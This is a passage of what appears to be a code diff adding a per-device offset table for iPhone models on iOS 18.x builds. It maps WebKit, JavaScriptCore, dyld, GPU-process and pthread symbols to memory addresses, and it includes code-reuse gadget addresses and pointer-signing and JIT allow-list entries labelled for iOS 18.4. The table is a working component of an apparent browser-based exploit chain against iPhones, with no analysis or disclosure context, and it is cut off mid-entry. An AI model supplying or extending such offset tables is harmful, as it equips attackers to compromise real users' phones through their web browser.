TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__initPKContact_once : 0x1ed88c0f8n, + WebCore__initPKContact_value : 0x1ed88c100n, + WebCore__PAL_getPKContactClass : 0x1ed8835b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a8d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a8c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a8b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880500n, + }, + "iPhone17,2_22G90": { + __pthread_head : 0x26a00c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd878n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c708n, + free_slabs : 0x1ed7c5e90n, + gadget_control_1_ios184 : 0x23ed792ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f03a150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7df0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7ded60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7ded68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7ded70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7decb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7ded78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb1b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc65870n, + libsystem_c__atexit_mutex : 0x1ed6eb318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea580n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257a1fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27270c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__initPKContact_once : 0x1ed88c0f8n, + WebCore__initPKContact_value : 0x1ed88c100n, + WebCore__PAL_getPKContactClass : 0x1ed8835b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a8d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a8c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a8b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880500n, + }, + "iPhone17,3_22G90": { + __pthread_head : 0x2699b8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa3d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9778n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708608n, + free_slabs : 0x1ed7c1d90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dafb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dabb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6480n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a17e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2720a4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887ff8n, + WebCore__initPKContact_value : 0x1ed888000n, + WebCore__PAL_getPKContactClass : 0x1ed87f4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8867d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8867c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8867b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c400n, + }, + "iPhone17,4_22G90": { + __pthread_head : 0x2699b8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa3d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9778n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708608n, + free_slabs : 0x1ed7c1d90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dafb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dabb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6480n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a17e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2720a4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887ff8n, + WebCore__initPKContact_value : 0x1ed888000n, + WebCore__PAL_getPKContactClass : 0x1ed87f4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8867d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8867c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8867b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c400n, + }, + "iPhone17,5_22G90": { + __pthread_head : 0x269720020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa390n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa2f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa340n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9738n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7085c8n, + free_slabs : 0x1ed7c1d50n, + gadget_control_1_ios184 : 0x23ed6d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7daf70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac20n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac28n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac30n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dab70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac38n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb0f8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc59870n, + libsystem_c__atexit_mutex : 0x1ed6e71d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6440n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a13e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271de4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b1e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887fb8n, + WebCore__initPKContact_value : 0x1ed887fc0n, + WebCore__PAL_getPKContactClass : 0x1ed87f478n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886790n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886788n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed886770n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c3c0n, + }, + + "iPhone11,2_4_6_22G100": { + __pthread_head : 0x2689b0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f97f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8c38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707ac8n, + free_slabs : 0x1ed7c1250n, + gadget_control_1_ios184 : 0x23ef4e2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f007150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da138n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccf08b4n, + libGPUCompilerImplLazy_cstring : 0x23be3a870n, + 